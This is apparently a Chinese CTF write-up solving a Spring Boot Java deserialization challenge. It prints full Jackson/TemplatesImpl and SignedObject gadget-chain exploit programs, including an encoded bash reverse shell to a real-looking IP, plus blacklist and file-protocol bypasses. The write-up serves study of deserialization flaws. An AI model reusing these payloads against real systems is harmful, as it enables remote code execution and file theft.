反编译

image-20241005113024114

依赖

dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>

就Spring Boot,但是spring boot自带jackson的

分析

看一下控制器

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yancao.ctf.controller;

import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.util.MyObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @RequestMapping({"/"})
    @ResponseBody
    public String index() {
        return "Hello World";
    }

    @GetMapping({"/hack"})
    @ResponseBody
    public String hack(@RequestParam String payload) {
        byte[] bytes = Base64.getDecoder().decode(payload.getBytes(StandardCharsets.UTF_8));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);

        try {
            ObjectInputStream ois = new MyObjectInputStream(byteArrayInputStream);
            URLHelper o = (URLHelper)((ObjectInputStream)ois).readObject();
            System.out.println(o);
            System.out.println(o.url);
            return "ok!";
        } catch (Exception var6) {
            Exception e = var6;
            e.printStackTrace();
            return e.toString();
        }
    }

    @RequestMapping({"/file"})
    @ResponseBody
    public String file() throws IOException {
        File file = new File("/tmp/file");
        if (!file.exists()) {
            file.createNewFile();
        }

        FileInputStream fis = new FileInputStream(file);
        byte[] bytes = new byte[1024];
        fis.read(bytes);
        return new String(bytes);
    }
}

根路由就是打印hello world

/hack路由,对输入参数base64解码然后进行反序列化,那这题应该打反序列化了

/file路由,读取**/tmp/file**文件

再看下两个java bean

URLHelper

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yancao.ctf.bean;

import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class URLHelper implements Serializable {
    public String url;
    public URLVisiter visiter = null;
    private static final long serialVersionUID = 1L;

    public URLHelper(String url) {
        this.url = url;
    }

    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        if (this.visiter != null) {
            String result = this.visiter.visitUrl(this.url);
            File file = new File("/tmp/file");
            if (!file.exists()) {
                file.createNewFile();
            }

            FileOutputStream fos = new FileOutputStream(file);
            fos.write(result.getBytes());
            fos.close();
        }

    }
}

反序列化会调用URLVisiter#visitUrl,然后将结果写进/tmp/file里面

URLVister

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yancao.ctf.bean;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.net.URL;

public class URLVisiter implements Serializable {
    public URLVisiter() {
    }

    public String visitUrl(String myurl) {
        if (myurl.startsWith("file")) {
            return "file protocol is not allowed";
        } else {
            URL url = null;

            try {
                url = new URL(myurl);
                BufferedReader in = new BufferedReader(new InputStreamReader(url.openStream()));
                StringBuilder sb = new StringBuilder();

                String inputLine;
                while((inputLine = in.readLine()) != null) {
                    sb.append(inputLine);
                }

                in.close();
                return sb.toString();
            } catch (Exception var6) {
                Exception e = var6;
                return e.toString();
            }
        }
    }
}

首先禁止了file协议,防止了本地文件读取,这里可以用大写绕过FILE://然后就是创建一个URL对象进行访问。

util里面还有一个输入流控制

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.yancao.ctf.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream {
    public MyObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        String className = desc.getName();
        String[] denyClasses = new String[]{"java.net.InetAddress", "org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper"};
        String[] var4 = denyClasses;
        int var5 = denyClasses.length;

        for(int var6 = 0; var6 < var5; ++var6) {
            String denyClass = var4[var6];
            if (className.startsWith(denyClass)) {
                throw new InvalidClassException("Unauthorized deserialization attempt", className);
            }
        }

        return super.resolveClass(desc);
    }
}
java.net.InetAddress
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
com.yancao.ctf.bean.URLVisiter
com.yancao.ctf.bean.URLHelper

也就是加了一些反序列化黑名单,可以发现URLHelper不能直接反序列化利用了

看下lib找利用链

O4XpCM.png

可以明显看到jackson,jackson是可以打二次反序列化的,正好符合我们的要求,前两天做的2023阿里云Bypassit也是,当时利用链是

BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
TemplatesImpl#getOutputProperties->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->(类初始化)
TemplatesImpl#defineTransletClasses->
defineClass(类加载)

这里TemplatesImpl没被ban,可以直接打加载恶意字节码, 也可以走SignObject链打二次反序列化,不过两个方法都需要重写一个BaseJsonNode这个类,把writePlace方法去掉

public abstract class BaseJsonNode
        extends JsonNode
        implements java.io.Serializable
{
    private static final long serialVersionUID = 1L;

    // Simplest way is by using a helper
//    Object writeReplace() {
//        return NodeSerialization.from(this);
//    }
    ...
    ...
    ...

TemplatesImpl加载恶意字节码

先看第一种用TemplatesImpl加载恶意字节码,与2023阿里云Bypassit无异,但是由于Jackson反序例化链子的不稳定性(因为调getter的时候,先调用了getStyleSheetDOM,然后报空指针错误,导致后面链子无法触发)

需要封装一层代理进行操作

exp.java

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.framework.AdvisedSupport;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class exp {

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();//用javassist获取
        byte[][] codes = {code};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "useless");
        setFieldValue(templates, "_tfactory",  new TransformerFactoryImpl());
        setFieldValue(templates, "_bytecodes", codes);
        Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
        cons.setAccessible(true);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
        Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);

        POJONode pojoNode = new POJONode(proxyObj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        setFieldValue(badAttributeValueExpException, "val", pojoNode);

        serialize(badAttributeValueExpException);
    }
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }

    public static byte[] getTemplates() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIxLjExMC80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }
    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }
}

然后base64+url编码发过去,base64+POSTman也行

import requests
import base64
from urllib.parse import quote 

with open('E://tao.txt', 'rb') as file:
    data = file.read()
encoded_data = base64.b64encode(data).decode('utf-8')  
url_encoded_data = quote(encoded_data)

url = f"http://101.43.121.110:12345/hack?payload={url_encoded_data}"
print(url)
response = requests.get(url)
print(response.text)

image-20241005154429710

SignedObject打二次反序列化

再分析一下调用链

image-20241005135341617

SignedObject#getObject会触发属性的readObject即反序列化,参数有this.content传进来

看一下content

image-20241005135531171

在进行有参构造的时候就会给content属性赋值,所以参数可控

所以只要能触发SignedObject的getter方法就能实现二次反序列化,所以还是利用POJONode的toString

调用链

BadAttributeValueExpException#readObject->
BaseJsonNode#toString->
InternalNodeMapper#nodeToString->
ObjectWriter#writeValueAsString->
ObjectWriter#_writeValueAndClose->
DefaultSerializerProvider#serializeValue->
DefaultSerializerProvider#_serialize->
BeanSerializer#serialize->
BeanSerializerBase#serializeFields->
BeanPropertyWriter#serializeAsField->
SignedObject#getObject->
URLHelper#readObject->
任意文件读取

**这个”file://“可以用”FILE://“绕过,也可以用” file://“,还可以用”netdoc://“,还可以”url:file:///flag”**方法很多

exp.java

import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.bean.URLVisiter;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.ProtectionDomain;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javax.management.BadAttributeValueExpException;

public class exp2 {
    public static void main(String[] args) throws Exception {

        URLHelper urlHelper = new URLHelper("FILE:///");
        URLVisiter urlVisiter = new URLVisiter();
        setFieldValue(urlHelper, "visiter", urlVisiter);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(urlHelper, privateKey, signingEngine);

        POJONode jsonNodes = new POJONode(signedObject);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException, "val", jsonNodes);
        serialize(badAttributeValueExpException);
    }
    public static  void serialize(Object object) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("E:\\tao.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        fileOutputStream.close();
    }


    private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
}
 

同样用py请求

然后访问file路由

image-20241005155034214

然后修改exp读flag

URLHelper urlHelper = new URLHelper("FILE:///flag");